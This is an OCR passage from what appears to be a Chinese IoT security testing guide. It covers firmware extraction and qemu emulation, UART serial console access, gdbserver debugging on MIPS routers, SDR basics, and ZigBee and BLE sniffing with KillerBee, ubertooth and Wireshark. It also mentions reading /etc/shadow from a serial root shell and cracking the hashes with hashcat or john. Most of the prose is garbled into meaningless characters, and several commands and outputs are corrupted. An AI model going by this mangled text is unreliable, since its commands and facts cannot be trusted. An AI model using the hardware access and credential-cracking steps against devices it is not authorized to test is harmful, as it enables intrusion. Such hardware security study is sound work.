_miwifi_r31_firmware_d5c5c_2.14.25.bin.extracted
root@mask:~/lab#ls
_miwifi_r31_firmware_d5c5c_2.14.25.bin.extracted/squash
fs-root/

bin data dev etc lib mnt overlay proc readonly

rom root sbin sys tmp userdisk usr var www

2. i@ readelf apIRBIIEF XA CPU 224,

root@mask:~/lab# readelf -h /squashfs-root/bin/busyboxs
ELF Header:a

Magic: 7f 45 4c 46 @1 01 @1 00 @1 00 @0 @0 Pe 00 L@
08 &

Class: ELF32:

Data: 2's complement, little
endians

Version: 1 (current)s

0S/ABI: UNIX - System Vi

ABI Version: 13

Type: EXEC (Executable file)s

Machine: MIPS R3000:

Version: @x1s

Entry point address: 0x4047308

Start of program headers: 52 (bytes into file)s

Start of section headers: @ (bytes into file)s

Flags: Ax50001@05, noreoarder,
cpic, 032, mips32s

Size of this header: 52 (bytes)?

Size of program headers: 32 (bytes):

Number of program headers: 73

Size of section headers: 0 (bytes):

Number of section headers: 0

Section header string table index: @
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RHRBIHB CPU 2Nt 8 qemu F2 48 DL ZIFE R PRTE RSO SR,

root@mask:~/lab/squashfs-root# cp $(which gemu-mipsel-static)

3. A qemu iEFIETT MBI RIREBIER, HIMIEITXHRATH lua f2Fm<uT:

root@mask:~/lab/squashfs-root# 1ls

bin data dev etc 1lib mnt overlay proc gemu-mipsel-
static readonly rom root sbin sys tmp userdisk usr
var www

root@mask:~/lab/squashfs-root# chroot . ./gemu-mipsel-
static ./usr/bin/lua

Lua 5.1.5 Copyright (C) 1994-2012 Lua.org, PUC-Rio
(double int32) security

> print "hello world"

hello world

>

4.2.2 RFEEIPIEIT
B EATZ RGBSR, NI B R 7 T T,

£/ FAT (https:/aqithub.com/attify/firmware-analysis-toolkit/) B LUE—LE I mANiS & B EINEI TR :

git clone --recursive
https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit && sudo ./setup.sh

NEA D-Link B9 DWP2360b ElfHENEIF, HMANKEE SKEMHRER,

Jfat.py

Welcome to the Firmware Anal Toolkit - vl.0@
Offensive IoT Exploitation T ing - http://offensiveiotexploitation.c

By Attify - https://fattify.com | @attifyme
: DWP2360b-f

" the
i8b- firmware-

firmware. Hold
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BEERER DT FH

LRI AR TH 1) B8 FH 28 DUE

S O8 = imam o | t0 @+ 0@ - =

BiEiRE:

L
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4.3 1€FIFR

ESEFEIGEMIER FAILUEM QEMU IS TIZE A, tNBAESIRIE BAME S ol LI EEA AR
IS EHTIZE .
4.3.1 @idEO

FAERMGENER, BHTEFER, BAFERIFTLHTERBRNED, —REEGEREON
UART, SPI, 3t JTAG.

UART Z2BRATNIREPRE R ERBHITERERB AN STERERNBENNZ — ARATNRERE2D
RBESEENEBARTEEEERER (UART) 0 (EOEBFMZNED ). UART B FRTER,
FERBEIEWRAS R REEREE. HAR UART BERRINFEE LTI

RIah: STRE—PEE 07 BES, RRFRFAISE.

BRI ZEERRUZE. BURUNNMIAILZ 4. 5. 6. 7. 8%, ME—1PFR. BEXMA ASCI 13,
MR Ia1EE, SR HEL

FERREA: RN EX—E, 5 17 AU ABEE (BRE) HEFH (FRY), LUERKREHR
FHEIXAER M,

B ER—MFREUENGRINS. AIUZ 1. 1.5, 2 {UMNSBET, BTFHESTEERL LEN,
HES—MEEHECHNH, RAUBETBETMEREHHAT/IVINIRED, FEIEUMUERTRE
WAVER, HERMTENRENHEZINS. ERTFELUNMSES, TRNHRFNECIEE-RA, B
GRS RN =

TR BTFBE 17 RS, RRYRILR DSEREMEE,
UART ZDEE LTINS IR

1. VCC: BR3IH, BUAEERN 3.3V, 5V,

2. GND: #Hi5]0,

3. TXD: EIEEIXSIA,

4. RXD: #IBREEULSIRD.
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BEIENE, BH{T UART B, HAEREIRAX (TXD) MEIEREW (RXD) X5k, FR&ER UART
X% GND 1 VCC 5180 :

4.3.2 &&OiR%)
VT HH UART 8930, AILUERTD AREMES 15/ (TXD, RXD, GND # VCC), TEFIHXEHDE:

1.

6.

KR RRMEAXREMRI ZRE (BIS) B, XAIREHRIR, BAERBHRLEERERIRZESIH (X
DS IH—RR TR ARIEEEARE )o

RABRADHBER ER UART ONSNMEENE I L, H2IF2EISEE (BEEP) HIEH,
D E 4208 88 A S IS RN AT H B IR B IR RS ), XA 75 A Bk o E il ixs

RHRREFREN 20V ERBEMSMUE, RERLERFHZOANEMSIH (GND), BoBRKBER
OREMSIHE (GND ERIN Lo ZBIg&EIR, WREEIEERLE (3.3V 2#E 5V) BI5|fFLZE VCC 515,
BRERREHNERRIEEMN OGND ZEINBE (BRTRIES BHHER VCC F GND) » HFERED
HBRADEITHAREEIEE M, FTUETERN 1015 WREF—5IH_ ENBEELRLE T EXKERD.
XADSIBPREZ TXD 51Rs

RXD A LUBE B MR EE R EER SRR SER S BIRAE.

BT LLE 75 EHATE RIS B EE 3R S TR S N XS BT BN B A E X MR O IR & RY UART £,
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4.3.3 USB-TTL

BILAEA USB #% TTL IR&EIERILEM PC £, K& W FEFR!

ZIGE—IHIEAN PCHIRI USB 0, B—iEHE TXD. RXD. GND. 5V. 3.3V AP35, REEEITNAS
55 Bk A RXD. TXD. GND 3|BIAEE (Rx 1 Tx 32X 48iE, VCC n] L&) BIF], [RBY7E PC #l E%&&
STRZAY USB 38R AIKE, FhEEik PC MRS NZEROIEE,

o BEEES - O P
SR EfER) EENV) EEH)
e @ E EHE B X®
~ & chenjied fa
> & DVDYCD-ROM IEZ0EE
> =@ IDE ATA/ATAPI 355I58
> & UCMERFE
> By =2EE
> [ e
P n BARIEEER
> Gu THEERIE
> = FIEORAEY
v i@ B0 (oM LPT)
% USB-SERIAL CH340 (COM3)
o B®EE0 (CoM)
> O THE
> [ R0
» #E
s AESEEAEE
> 1 meHgE
> BE. TSRS
> () BEHEfEHEE
> § EESTREENS
> O EEES
> im Emge
> Bl B v
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4.3.4 Xshell &1

REERFE, IRFEETREEHINBTNERFIRE, FECA-ELXIRNTRSIEEE PC LEMH
AYSR COXEh T TEI, XELEFRIZ Xshello

AIEEANT UART BHRERBUEEERN, MREFRSENEWETEERBE, RNAREETRELE.
HINELASIE BT LAB A M B B 115200 F E##T=R (W0TFE) , T—M=i 57600, BFIRIHFAEE
AL, LEEY, BRERIGEER. IRTHEIIMIEEMEERFARBERRE— Linux B9 shell BFRE (W
RIBTBEEMEER, AJLOBE o E G E AR IR /etc/passwd 37 /etc/shadow YR o & = AN
INER, EENEBZNEMAT RS hashcat # john) o

&

| MR &EE =5V IR0 EEEE) &S00 #EIH)

: - - x
(O mifiZtE ? w ® i
2RIQ): i
| -"ﬁ:ﬁ
- il P ek 1
®1- - ERE .
e :
Xshel g Port: COM3
Copyr - RLOGIM Baud Rate: | TR |V
- SERIAL . [
T'|'|p|:_ 1"&1@ Data Bits: 200
=¥ AREEEIA Swpsis: (600
) Parity: 2400
- B 4300
VT $H, Flow Control: |9600
=0 14400
= 19200
AL 33400
= 55000
+- ¥ 57600
123000
256000
230400
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4.3.5 GDB iz 1A
FRENRISERY shell [5, hAILIFIA GDB A ZiZ B R BATHAZ, XEBLUNKERRZS 3 A,
4.3.5.1 SRENT A%

TR E IR BEE RS LU root X Riz1T gdbserver(gdb BURSE IR ). —ARIEE L2REREEN, EILE
TR R EIE— ANF\“ET&;%E’\J gdbservero MNKE TS WL a] U B Z B EE T OpenWRT &4, 12
22 Mt7620a, FIAXLEERALUBTIEERS I ZHRE TAE:

Supplementary Files

These are supplementary resources for the ramips/mt7820a target. They include build tools, the imagebuilder, mdSsum, GPG signature file, and other useful files.

Filename | mdssum | File Size

packages/ - - | Sun Dec 10 21:24:04 2017
OpenWrt-imageBuilder-ramips_mtT820a-fordinux-x88_8&4.tar.bz2 152638ad1bede024354f caallackd935 166831.5 KB = Thu Oct 2 09:30:28 2014
OpenWrt-SDK-ramips-for-linux-x88_84-gcc-4.8-linaro_uClibe-0.9.33.2.tar.ba2 cBT9ai9T{9d003b17401%0 Sbdaled004  TFT3B59 KB Thu Oct 2 0930026 2014
OpenWrt-Toolchain-ramips-for-mipsel_24kec+dsp-gcc-4.8-inaro_uClibc-0.9.33.2.tar.bz2  459b0eT{8cO2TII4TIbTSCbEEc01cB0e 356007 KB | Thu Oct 2 09:30:25 2014
config.ramips_mi7T620a Odbdf 0248 TeB3Tad€ abf2T7c81805¢ 1 87.TKB ThuCcl 209:30.24 2014
kernel-debug.tar.bz2 6Th0eitbSe0f T96H046238813cTedddf 64873 KB ThuOct 2 09:30.24 2014
md&sums = 19KB ThuOct 2094314 2014

Ay
4.3.5.2 XXXV RiF

BTIENTEEREREVER, REMZEE PATH, EEERXXRFIXFIHENINE.

root@kali:~/gdb-8.2/gdb#export

PATH=" /root/ lab/ toolchain-mipsel/bin: ${PATH}
root@kali:~/gdb-8.2/gdb# echo $PATH

/ root/ lab/toolchain—

mipsel/bin:/usr/ local/sbin:/usr/local/bin:/usr/sbin:/us
r/bin:/sbin:/bin

LB R XRIFNIE Z Bt a] LURIEI N & T gdb(x86_64) A1 gdbserver(mips), RiZSBIT:

# Y gdb

root@kali:~/gdb-8.2# mkdir build
root@kali:~/gdb-8.2# . /configure --target=mipsel-
openwrt-linux --prefix=/ root/gdb-8.2/build
root@kali:~/gdb-8.2# make

root@kali:~/gdb-8.2# make install

# %Wi% gdbserver

root@kali:~/gdb-8.2/gdb/gdbserver# cd gdb/gdbserver
root@kali:~/gdb-8.2/gdb/gdbserver# . /configure --
target=mipsel-openwrt-linux --host=mipsel-openwrt—linux
root@kali:~/gdb-8.2/gdb/gdbserver# make
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[ ‘4 gdb-8.2  build | bin b @F E| @00

D Recent

#!

mipsel- mipsel- mipsel-

openwrt- openwrt- openwrt-

linux-gdb linux-gdb- linux-run
add-index

far Home

i Desktop
[} Documents
® Downloads
J1 Music

‘[ Pictures
H Videos

D Trash

© KaliLive

14

D Recent ‘ Q, gdb a -~ ‘

2+ Home Name Size Location

i Desktop ﬂ gdbserver 4.2 MB

BRIFWFH gdbserver i@id scp FHF BN /tmp BR T (BRUWBFREEFTE ssh, B LB —L/ 15
BREFEREIBERIEET. B0, BIFEEE™ basebd 5%, BILUSIZRE 1T base6d D HE I RIEHNT
NENEE, AETEIRE L basebd RIBHE XM, HEIKE BT 7 wget i, AJ LB EERHEI— MEEFHRS S L,
B NN AFURER TRIILHEETR, KIHRE, XERAZWRT) -

4.3.5.3 iziFiAid

# JFJ8 gdbserver JRGuG, WUT 1234 30

root@mifi:# gdbserver localhost:1234 target_program

# 1817 gdb, &% gdbserver

root@kali:~/gdb-8.2/build/bin# ./mipsel-openwrt-1linux-gdb

(gdb) target remote 192.168.1.1:1234 # X422 JSHa L TFHIR T .

f% GDB b, ERILAGEA IDA IMAZHITIRE NI, BZ M (IDA IEER) FRIERT .
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5.1 #HEDM
5.2 TN

BREKRER=R
2w F M

5. @il iy



) e

=

5.1 ER I
5.1.1 SDR

METEXMIT LR (Software Defined Radio, SDR) @—Fh 4B BBERA, TETHRHETEXNLLE
EY MRS B IELL ST,

5.1.2 EHIEAR

BEHPEXNE SRR ESHITAE, FETAEETEERRTINTE. —RKR, ESRIVELRRE
B (BR) &FERNEBNMERMAERNE, MAEHES. EFESEETEFENMERES, Rttt
EHESREN—MENETMEMEMXFESHNTBRES WEG T EELRE. XTHEESUMERES,
MESESUBIEFIES. B ESEINESMEKNEE. BUNENE, EEBEEHESHTLMmELRK
KIBY. MABBNERERESMERESPOBHRUEMENZYE (B8 MENERIIRE,

AR EE KSHE
IBEEES) AM
wmsn | sl o SRS S MRS BT, TER I R 2P
: I B
AR PM
B RS 5% ASK/ 18 - Wiz 00K
e e PR (E E R B MRS RIS 8, TR R B (S
TRALEE PSK S BB S R TN,
SR FOK

5.1.3 KiEFH
BE—RICRRDNESRE (BR) SR MNELKRE (RR) ZEBIER,
i — BRSNS HE SN SRARLEE,

TEE— MNELBESTRF AL EHAFTENES. —RoNESBEEKE (KATsTRERENES
B  MEEKE (NATRTFRERENESBEIEKS) NHmREKRE (NAFEaEmE TRz
BRYE S BRI o

KiF— I NRFELESRIMNAEZ MR ENEEIEES. IRREFERTER, E52KE, FJ#E
SHITEHEIR.

SERETE — YRR A T RS SSMRNFEN, WIS SHe U AR EAERT.
5.1.4 SDR B9fsiBa{E A

MEfF: RTL-SDR

B GQRX, GNU Radio companion

XELFM ESAFEITO.
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B, RIOMER RTL-SDRIGANFRS, H1E GQRX VGBI R EEERIENRIGE, REBLLB
BYSTIE o AR TIER, PJ LUEAR A _EANE T 87K 3 HE NI RTL-SDR AUSMER IS BN, 3 EI LL BOZERBUSRE,

Gqrx 2.6.1 - rtl=0
File Tools View Help

m=e |

Receiver Options

=71 6.0 0 0 kH

Hardware freq: 02.616000 MHz

91.900 000 wH: Siiti

Filter width  Normal
Filter shape | Normal -

Mode  WFM (mono)

AGC | Medium -
Squelch -150.0 dBFS |5 A
Noise blanker M1 NB2

Input controls — Rleceiver Uptions | FFT Sattings

Aunhio

Gain: 50.0 d0
upe Ree
osp
Bl LU & 2 B9IE TS GQRX I& B RIFWAMBI S 1o
Filter width | Normal -
Filter shape | Normal -
Mode | WFM (stereo) -
AGC | Medium v
Squelch -150.0 dBFS © A
Noise blanker NB1 NB2

SRR O S R AT RO HE

91.900 000 MHz

i Capture %23, FLRIUIEZ MIBEBZIHERENINIE, X EEMESNES.
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Gqrx 2.6.1 - rtl=0
File Tools View Help

mBEg "

'

¥

91.100 000 mH:

I

ST 1 N I O v

BRI ARY SDRIS&EWT:

Hardware freq:
Filtar width
Filter shape
Mode
AGC
Squelch

Neoise blanker

Input controls

Audio

7= 'NSFOCUS

Receiver Options 51

716.000 ki

91.016000 MHz
Normal -
Normal -
WFM [sterea) -
Medium =

150.0 dBF5 T A

Receiver Options  FFT Settings

Rec

Dsp

Frequency
Range

RF Bandwidth
Sample Depth

Sample Rate

TX Channels
RX Channels
Duplex
Interface

Programmable
Logic Gates

Chipset
Open Source

Oscillator
precision

Transmit Power

GPS
synchronization

Extra features

Multiple boards
synchronization

HackRF
ONE

TMHz - 6GHz

20MHz
8bit
20MSPS
1

1
Half

uUsSB2.0

64 macrocell

CPLD
MAX5864,

MAX2837,
RFFC5072

Full

+/-20ppm

-10dbm+
(15dbm
@2.4GHz)

GPIO

Sample
clock

BladeRF

X40 X115

12bit
40MSPS

1
1
Full

12bit

Full
USB3.0

40k(115k
avail)

LMS6002M

Schematic,
Firmware

+/-Tppm

6dbm

GPIO GPIO
Sample

clock and
timestamps

Ettus

B200 B210
70MHz - 70MHz -
6GHz 6GHz
61.44MHz  61.44MHz
12bit 12bit
61.44 61.44
MSPS MSPS
1 2
1 2
Full Full
USB3.0 USB3.0
75k 100k
AD9364 AD9361
Schematic, Schematic,
Firmware  Firmware
+/-2ppm +/-2ppm
T10dbm+ 10dbm+
Addon Addon
(+$636) (+$636)
GPIO GPIO
Sample Sample
clockand  clock and

timestamps timestamps

RTL-SDR

8bit
3.2MSPS

USB2.0

RTL2832U

Lime SDR L".n? SIS ntrx
Mini
30MHz-  10MHz -
38GHz  35GHz  SOMHZ-37CHz
61.44MHz  61.44MHz  120MHz
12bit 12bit 12bit
61.44 30.72 120
MSPS MSPS MSPS
2 1 2
2 1 2
Full Full Full
PClex2 USB3
USB3.0 USB3.0 adapter, and more
(FPGA based)
40k 16k
LMS7002M LMS7002M
Full Full
+/-
+/-1ppm  +/-Tppm i?wi/tiglif;/ppm
initial, +/-4 initial, +/-4 !
ppm stable ppm stable == D) foe e
GPS lock
max10 max10 dom 0to 10dbm
dbm ) .
. (depending (depending on
(depending on freq.) frequency)
on freq.) 4 q y
on board
GPIO GPIO GPIOIGPS, SIM
card interface
Sample Sample Sample clock and
clock clock timestamps
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5.2 L&Y

YIEXN g & E S REERTLENNY, TLBAREGENITEELNER, TABESSEBERET
ERIESHER, MR, RENAINESE, RESMER THESKKMMRERNE, TLBEFERKER
REERENVBIELRABIES, RERETEMERY, BMg&HTLAESHE, REMRIREREMR
b €728

5.2.1 ZigBee

5.2.1.1 thi[RIE

ZigBee BYIBXMIG & EANLEIMIN T —, ZWINET IEEE 802.154 v, KM TYEEMBERENS
ETheE. EEBAETFLTHERINA, BEEERE, TITHARS (CS) , BERNEHE. AZHEXRE
1T7E 2.4 GHz $ME%, 1EEEFEAFIVIZITAE 902 ) 928 MHz 7R, TERRIMNZTTIE 868 Z 868.6 MHz #li&, 1
1%t E, ZigBee U2 MBI NFHE:

1. P EABUEREN.

Zighee MEEHRBIREIN TS RXTEEUBTHUEATT R BRI, RevpiThaI st K.

2. BRlE AR BN

Zigbee MAETBIHIEERFFI SRS, RIERIFAE2EHI, FJLUIELEKERBIEIE,

3. BiEARERRERN.

Zigbee TiYAY ACL FE—PFIKR, HETER B, WERANKRREAEMIIRZINVISEREBE.
4. BALETEEERGIT. BIAFEIT.

Zighee WAAPHHIEE WA SEITNE, ERAZANBRT, TEHNENENSIESHT. —RK,
Zigbee RFEMPNER, DA TERMER Kb MIMNEFMERN Kao Ka BJLIFUMENTEIREEFF,
FRAXERIBENDHAFET, IRBENEKEENT, BREREZASMERFAEEMLE, £EE
PP ERABIEN, LIRS RSt AR E R R, MINREX—FZIEHBXER, BRME KRR
BREITAEE,

5.2.1.2 IRIFHE
FrEEREME T A: Atmel RzRaven USB Stick , BINMIEHH KillerBees

FRrE#4 T A : KillerBee (https:/github.com/riverloopsec/killerbee)
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i i

1. HE N

BIRE —MERR ZigBee IBERIGIF, AEHITRRDN, XEMABIZE Arduino, XEBAIRLZEE 2
RIE—BRFH, 0T

< twareSerial.h>

int a=8;

SoftwareSerial my ial(2,3);
4
d

scetup{
Serial.b

d Loop(){

Serial _printin("Se87hhdatcdef@53Itden7ea9711d45113");
Serial.println(a);

att;

2. ETE, 15 Xbee F Arduino #BRAE Xbee Shield F, ©EREEZMUF TEFIT:

Ller o1s5 sudo python . /zbstumbler -v
are using pyUse 1.x, support is in beta.
zbstumbler: Transmitting and receiving on interface "1:5'
Setting channel to 11.
Transmitting beacon request
Setting channel to 12.
Transmitting beacon request.
rReceived frame.
frame is not a beacon (FCF=6188).
frame.
frame is not a beacon (FCF=8200).
frame.
frame is not a beacon (FCF=6188B).
Received frame.
Received frame is not a beacon (FCF=0200).
Setting channel to 13.
Transmitting beacon request.

cets transmitted, 4 réesponses.

4. &{T zbwireshark 123X 12 $iE _FMIE B,

sudo ./zbwireshark -c 12
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5. BILIET, KEMNEBELMBINE wireshark %X EI T,

dam g = RE Qe==EFS
] i ) E3 | G |+
o, LT — - LT S _L=n SN i .
1 B.000008 [ L] BxBaa1 ZigBee 53 Data, Dst: @x@881, Src: #elafs
2 @.poeeeR IEEE 892.15.4 5 Ack
3 8.999999 Bx2aa1 Broadcast ZigBee §1 Command, Dst: Broadcast, Src: Bx@@e1
4 1.08000812 15 Broadcast ZigBee 51 Command, Dst: Broadcast, Src: 8x@agl
6 1.088868 Budaal Broadcast IEEE B@Z.15.4 62 Data, Dst: Broadcast, Src: @x@881, Bad FCS
& 1.000872 Bx@aal Broadcast ZigBee 51 Command, Dst: Broadcast, Src: Bx@@el
7 1.088083 BxBaa1 Broadcast ZigBee 51 Command, Dst: Broadcast, Src: Bx@8e1
8 1.p80080 BxBaa1 Broadcast ZigBee 51 Command, Dst: Broadcast, Src: Gx@@8l
? 1.000084 ex@aal Broadcast ZigBee 61 Command, Dst: Broadcast, Src: @x@@el
18 2.@@e8ze exeeal Broadcast ZigBee 52 Data, Dst: Broadcast, Src: @x@@al
11 2.000029 Bx@aal Broadcast ZigBee 52 Data, Dst: Broadcast, Src: @x@eeal
12 2.088894 BxBaalL Broadcast ZigBee 52 Data, Dst: Broadcest, Src: Bx@8e1
13 &4.p@epad BxBaal Broadcast ZigBee 61 Command, Dst: Brosdcast, Src: Bx@@el
14 4. @087 Bxdaal Broadcast ZigBea 51 Command, Dst: Broadcast, Src: 8x@@81

|» Frame 1: 53 bytes on wire (424 bits), 53 bytes captured (424 bits)
|+ IEEE B82.15.4 Data, Dst: @x@@@1, Src: miwls
+ ZigBee Network Layer Data, Dst: @x@@881, Src: Smia®i
* Frame Control Field: @x8248, Frame Type: Data, Discover Route: Enable, Security Data
Destination: Bx@8@1
Source: Baise
Radius: 38
Sequence Number: 199
~ ZigBee Security Header
Security Control Field: @x28, Key Id: Network Key, Extended Nonce
Frame Counter: 48435684
Extended Source: i lisw. B8R sl % o8 wC 88 S o LR )
Key Sequence Number: @
Message Integrity Code: 85d7ce?3
» [Expert Info (Warning/Undecoded): Encrypted Payload]
* Data (16 bytes)
Data: 5eB7bbhabcdefBS3fdesTea?7l1db1r3
[Length: 1&]

5.2.2 IKTF
5.2.2.1 {RIh#E3E5F BLE
5.2.2.1.1 EIF

{RINFEIETF (Bluetooth Low Energy) @ IF £ EEIRETRENIBENZ — BLE HaZANERERZ—2
ﬁﬂ‘]@?&@ﬁﬁﬁ’\]ﬂ?ﬁﬁﬁ DEEFMEN SIS BLE, NTMERZ5ET BLE B MI&&HITRRE, BLE EREER
ERIDERRHANGE ML, TETRMEEER T REELENMAX—nH, NMEETE BN,
TEEMIAEXRIIAT ﬁ¢$¢

FRRIGEMINEIL T FEIZDER, oA BEMKEMRADRIZE, MIFARMMERIIZENN
SNEIRE. —PMHIFRERTIENDTRIRE, REBERSEFNINEIRE.

BLE H 40 N RFEIBVSMELERL (3 N #EF 37 NIESME) , W NEFTR:

A

4 - o~ = n o~ -,
dhomnmenunnoa 2 R C R R R E R R 2B RARARRRRRRSARAR

TR E T
F5E385335555555R5355333323238¢8333882¢858583
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TEIREF RN

1.

PHY & (Physicallayer M2 Z) . PHY ER3EIETE BLE FTAM TE&INER, BHIFIR A N A ES,
PHY ZEEATEEN BLE T HBITHEE, REUELIK selectivity FH54FE1T.

LLE (LinkLayer #558/2) o LL Z2E BLE thiiEMZL, M2 BLE RN SRMER, LLEE
WHBEEE L, LNERERENHNRERTEE, BAIRMNTPEIEE, BEAEIEH 86 S
BEREHE, BARIEAUENTEN, ACK MW, WMmHITER, UK HEREFEITEENT
HIEE, LL BERAFREHIBLAHEREWERR, SEIEHITEFNRTNRZS FRMIE,

HCI (Host controller interface) o HCI@RI%ER), FEATF 2 Fus /K BLE MidikHNizE, FBRIE
W& 2 EREENABEHR %,

GAP [& (Generic access profile) o GAP @XY LL BB KEIRFHITAEMTHIFF 75 B & 5 £ 1 —H,
GAP BT LL payload ##{T—LEMSBRENX, BEXRMHNITHEERERIR, BriFERAFHT#, 3
BRAEEES,

L2CAP E (Logic link control and adaptation protocol) o L2CAP X LL #1777 —RfE 8%, LL 2%
DERBEIEARS, L2CAP TEXDRINFBESEST@EEE, FNEENEZERETEE,

SMP (Secure manager protocol) . SMP FAREE BLE EZMINENZ 2,

ATT (Attribute protocol) » fEERIT, ATT BRARENX AP <M SIRIENEUIE. BLE thilik,

FAREZMBZFE ATT, BLE 3|\ T attribute 1, AREAR—F—FMEIE, Attribute BT ENX
iR, RNRENXZEIEAILUMERRN ATT 682, RX—FEWRIN ATT B

GATT (Generic attribute profile ) o GATT FRFE attribute RAIEIENS, FHizA group (94E) B
BE2XY attribute T XKEIE, XA GATT, BLE iNiktBaesl, BEREERSHAM, WIERENRN
BT GATT AIEZMEZ RN profile, BLE BT ZigBee ZELLMNBMIFRAMERIE,

Application

Anwnond

ajey 1esH
ainssald poolg

fuejaudoud

{119 19A0 QIH
JaleLl.IDI.l.l.lal.“_

Protocol stack

s Physical Layer (PHY)

B 3R https://blog.csdn.net/shunfa888/article/details/80140475
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5.2.2.1.2 HRBEFHIEE
TEYIx:
L/NLS
Blue Hydra B¢#& HCI Utils

(https://github.com/pwnieexpress/blue_hydra)

(https://github.com/greatscottgadgets/ubertooth)

Ubertooth utils
Gattacker
Wireshark
R
BLE i&fcss
Ubertooth
RERE!
BRI BAng & aosil, HEMER BT BLE IREMITIRENIREZISEHUAIRE. N TIREEIRE, [
ZHITIEWISE, WRESECEE SEREIEM, HERLESR hei fRE, WEPIR:

10:57:59 AM]
== % sudo hciconfig
hci@: Type: BR/EDR Bus: USE
BD Address: 78:4F:43:55:A2:31 ACL MTU: 8192:128 5SC0 MTU: 64:128
UP RUNNING PSCAN
RX bytes:521 acl:0 sco:0 events:25 errors:0
TX bytes:597 acl:0 sco:0 commands:25 errors:0

1. ATS5AEMBLE REHTRE, BMEETERARNFAEIREHIEIMINIESF i, ATLUERUT
LTI
sudo hcitool lescan

XS EEH lescan Fep S A B BLE G E M #%, RBFEBEM BLE&& /G, o LUE A
Ubertooth IRIFEE IR EIRE.

11:12:01 AM] [master]
-> % sudo hcitool lescan
LE Scan ...
54:2B:FA:CB:B3:47 (unknown)
54:2B:FA:CB:B3:47 (unknown)
04:A3:16:72:B0:9C (unknown)
04:A3:16:72:B0:9C LEDBlue-1672B03C
€0:97:27:3D:8D0:03 (unknown)
55:41:0D0:7F:CE: 9D (unknown)
04:A3:16:72:B0:9C (unknown)
F4:F5:D8:6F:79:45 (unknown)
F4:F5:D8:6F:79:45 (unknown)
54:2B:FA:CB:B3:47 (unknown)
C8:FD:19:51:21:25 (unknown)
C8:FD:19:51:21:25 UNI-LOCK

2. FERE ubertooth I B A%

sudo ubertooth-btle -f -t [address] -c [capture-output]
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[address] @18 & BIAL; [capture-output] BT L@ N X E pipe, B LAER /tmp/pipe fEAIRAVEO,
ubertooth M—umfa HHIERRIEIE, wireshark M3 —IFIEENEIEF B B0

B B 2 5 B mkfifo /tmp/pipe 812 E &, RIGiz{T wireshark, 3% | Capture Interfaces | Manage
Interface | New Interface | Pipes Z0 /tmp/pipe B8],

3. AIRBEZEFLREF mimREE,

VEFE /tmp/pipe FFIAIRER, XIF, H7E BLE REARA —LEaESEUE @S, MATREMIRMEN YIS 23E
ME, WHFR:

ace =

d = @ RE QesEFL _Faqgqar

1 e o == OnI04 O - e
he e Source Dati Laogm iz

168 19.259570180 unknuw_8:506570ed  u. &7 UnknuwnDirection Find Infusmsiion Response, Hamdle: Ox60Z0 (Ballery Servive: Bsllery Leve
169 19.287386488 unknown_8x58657bed  u. 42 UnknownDirection Write Request; Handle: 8x@B28 (Battery Service: Battery Level: Client Ch
172 19.34937118@ unknown_2x584657bed (' 4% UnknownDirection Write Reguest, Handle: @w@@2d (Unknown: Unknown]

175 19.379536488 unknown_8x58657bed [T, &1 UnknownDirection Handle Value Notification, Handle: @w@@38 (Unknown: Unknown)
177 19.380031488 unknown 8x586ETbed U 38 UnknownDirection Write Response, Handle: @xP@2d (Unknown: Unkncwn)

178 19.489484800 unknown_@x58657bed U~ 55 UnknownDirection Write Reguest, Handle: 8w@R4& [Unknown: Unknown)

181 19.43958708@ unknown 8x58657bed [T 38 UnknownDirection Write Response, Handle: @xP@4s (Unknown: Unknown)

182 19.449275088 unknown_@x584657bed U 48 UnknownDirection Read Regquest, Handle: @x8844 (Unkmown: Unknown)

185 19.499633288 unknown_8x584657bed [T 53 UnknownDirection Read Response, Handle: @w@@46 (Unknown: Unknown)

248 20.AEP2D3E00 unknown_BxE04EThed  u. L0 UnknowsDircetion Mead Nequest, Handle: Ow002f (Battery Eerviee: Battery Levell
251 29.4895250080 unknown_@x58657bed u.. 39 UnknownDirection Read Response, Handle: @wBRlf (Battery Service: Battery Level)

352 22.879653188  unknown

_@x58657bed . &9 UnknownDirection Read By Type Response, Attribute List Length: 1
unknown_8x58657bed UnknownDirection Write Reguest, Hand xBB37 (Unknown: Unknown )

373 72.40950568@ unknown_@x5065Tbed ; 41 UnknownDirection Handle Value Notification, Handle: @x@@3a (Unknown: Unknown)
374 22.418699880 unknown @x58657bed  u. 38 UnknownDirection Write Response, Handle: @xB@37 {Unknown: Unknown)

376 72.439376888 unknown_Ox58667bed  u.. 41 UnknownDirection Write Request, Handle: @w@B34 (Unknown: Unknown )

378 22.46957750@  unknown_@x504657bed U~ 38 UnknownDirection Write Response, Handle: 2x@@34 (Unknown: Unknown)

379 22.499346488  unknown_8x58657bed  u. 48 UnknownDirection Read Request, Handle: 8x@8&é (Unknown: Unknown)

» Frams 37A: 41 hytes an wire (328 hita), 41 hytes captursd (378 hits)
» PPI version @, 24 bytes
DLT: 147, Payload: btle (Bluetooth Low Energy Link Layer)
+ Bluetooth Low Energy Link Layer
* Bluetooth L2CAP Protocol
* BLUBTOOTN ATTribute Frotocol
+ Dpeode: Write Reguest (8x12)
* Handle: @x@@37 (Unknown: Unkmown)
[Service WID: Unknown (@xffde)]
TUWUID: Unknown [Bxffd9)]
Value: @1
[Response in Frame: 3741

@7 e 2apm Puckats 323 Cupieped 15475 Lsac o Profee: Cutaat

5.2.2.2 §H34#85hFM

TEVHAERBEEELS app WIEFRSH, WHZSZER app. BEAEBMEUEBEHHE, Android 73
EIT,

F—F 1 EFAERININE R Enable Bluetooth HCI snoop log/ B RELF HCI 5 BUERS.

(& AR
fHiRRs

WiH & EE

THERR
1

HDCP # &
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MTK BSFHIAB A NE —ERE, BEDENT:

ol PERKET ¢

FTERERRA BMEBEREA

device_log

dumpFF %

WifiEH+ R 2
A

BTHMYELOGH %

F7F N adb B adb rm /sdcard/btsnoop_hcilog 3#& btsnoop_hci X,
E= #

1TIE FIhREIRE/E AT adb pull /sdcard/btsnoop_hci.log 2# btsnoop_hci d:/btpacket/btsnoop_
hci.loge
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EM0%: BIEER Wireshark s TH D

20180320135124 20180320135306 20180320202545

log log log

//////////,....,..w""

=

— NSFOCUS

\'

st
CARTFOLLET
harst

controller

cantroller
nast

controller
haat
cantroller
host
controller
hast
controller
haat
cantroller
host
controller
has
controller
host
cantraller
nast

controller

Rlimtooth HCT W&
Dlisetooth HCI Command - Reset

i B3 dc 80

@ 7 soumsusias

RFD SWD BEY EEG WEG HEN @G
dm &= RE QeasEF I

Profocol Length Info

& &

=

4 Sent Read

14 Rev Coasana u-lﬁ e!e [REa0 BuTTar 3126)
